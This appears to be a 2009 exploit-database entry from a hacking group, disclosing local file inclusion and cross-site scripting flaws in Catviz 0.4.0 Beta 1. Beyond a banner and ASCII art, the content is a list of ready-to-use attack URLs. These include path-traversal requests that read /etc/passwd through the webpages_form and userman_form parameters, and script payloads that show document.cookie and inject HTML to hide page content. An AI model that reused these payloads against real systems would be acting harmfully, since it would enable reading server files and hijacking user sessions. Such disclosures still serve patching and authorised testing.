[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Catviz 0.4.0b1 (LFI/XSS) Multiple Remote Vulnerabilities
# Published : 2009-05-20
# Author : ByALBAYX
# Previous Title : ZaoCMS (download.php) Remote File Disclosure Vulnerability
# Next Title : exJune Officer Message System v1 Multiple Remote Vulnerabilities
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@===C4TEAM.ORG====ByALBAYX====C4TEAM.ORG====@
@~~=======================================~~@
@~~=Author : ByALBAYX @
@ @
@~~=Website : WWW.C4TEAM.ORG @
@ @
@@@@@@@@@@@@@@@@@@TURKISH@@@@@@@@@@@@@@@@@@@@
@
@ _.--"""""--._
@ .' '.
@ /
@ ; C4TEAM ;
@ | |
@ | |
@ ; ;
@ (`'--, ,--'`) /
@ _ ) ( _ / /
@ ) )(')/ (')( (
@ (_ `""` / `""` _)
@ `"-, / ,-"`/
@ ` / `""` /`
@ |/////|
@ | /|
@ ; |///| ;
@ `-`--`-`/
@ /
@ ',__,'
@
@ Catviz 0.4.0 Beta 1
@
@ Demo:
@
@ http://catviz.sourceforge.net
@
@
@ LFI :/
@
@ http://c4team.org/ [Path] /index.php?webpages_form=../../../../../../../../../../../../../etc/passwd%00
@
@ http://c4team.org/ [Path] /index.php?userman_form=../../../../../../../../../../../../../etc/passwd%00
@
@
@
@ XSS :/
@
@
@ http://c4team.org/ [Path] /index.php?userman_form=<script>alert(String.fromCharCode( 66, 89, 65, 76, 66, 65, 89, 88))</script>
@
@ http://c4team.org/ [Path] /index.php?webpages_form=<script>alert(String.fromCharCode( 66, 89, 65, 76, 66, 65, 89, 88))</script>
@
@ http://c4team.org/ [Path] /index.php?userman_form="><script>alert(document.cookie)</script>
@
@ http://c4team.org/ [Path] /index.php?webpages_form="><script>alert(document.cookie)</script>
@
@ http://c4team.org/ [Path] /index.php?userman_form='><h1>ByALBAYX</h1><div style=display:none>
@
@ http://c4team.org/ [Path] /index.php?webpages_form='><h1>ByALBAYX</h1><div style=display:none>
@
@@@:/
# www.Syue.com [2009-05-20]